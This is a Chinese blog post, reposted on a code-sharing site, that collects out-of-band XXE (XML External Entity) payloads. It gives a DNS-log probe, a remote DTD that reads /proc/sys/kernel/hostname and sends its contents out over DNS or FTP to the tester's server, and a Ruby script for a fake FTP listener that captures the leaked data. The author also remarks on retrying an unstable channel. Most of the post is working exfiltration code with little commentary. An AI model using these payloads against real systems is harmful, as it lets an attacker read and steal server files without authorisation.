码迷,mamicode.com
首页 > 其他好文 > 详细

XXE payload

时间:2019-08-19 17:10:48      阅读:135      评论:0      收藏:0      [点我收藏+]

标签:read   inf   remote   com   file   tar   XML   loop   ruby   

简单验证

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;]>
<root/>

接收信息以证明

1) 接收单行文件信息(主机名)

发送的POC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>


cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://%file;.dnslog地址/test'>">
%int;
%send;

这个不太稳定,多发几遍。
发了几十遍出来了几次dns请求。
估计是在读文件拼接发请求处有什么拦截

技术图片

2) 接收多行文件信息

一
发送的POC
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/>

二
cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;

三
再再服务器上监听设定的端口(这里写的是33端口)
vi ftp.rb

require 'socket'
server = TCPServer.new 33
loop do
  Thread.start(server.accept) do |client|
    print "New client connected\n"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        print "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
    print "\n"
  end
end

ruby ftp.rb

技术图片

XXE payload

标签:read   inf   remote   com   file   tar   XML   loop   ruby   

原文地址:https://www.cnblogs.com/huim/p/11378208.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!